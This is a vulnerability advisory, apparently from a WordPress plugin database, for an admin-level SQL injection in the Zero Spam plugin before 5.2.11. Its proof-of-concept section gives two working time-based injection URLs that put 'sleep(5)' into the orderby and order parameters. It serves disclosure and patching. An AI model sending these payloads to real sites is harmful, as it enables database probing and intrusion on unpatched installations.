WordPress Plugin Vulnerabilities
Zero Spam < 5.2.11 - Admin+ SQL Injection
Description
The plugin does not properly sanitise and escape the order and orderby parameters before using them in a SQL statement in the admin dashboard, leading to a SQL injection
Proof of Concept
With at least one IP in the “Blocked IPs” list: https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=1%20and%20sleep(5) https://example.com/wp-admin/?page=wordpress-zero-spam-dashboard&tab=blocked&orderby=date_added&order=+and+sleep(5)
Affects Plugins
Fixed in version 5.2.11
References
Classification
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-02-18 (about 1 years ago)
Added
2022-02-18 (about 1 years ago)
Last Updated
2022-09-26 (about 5 months ago)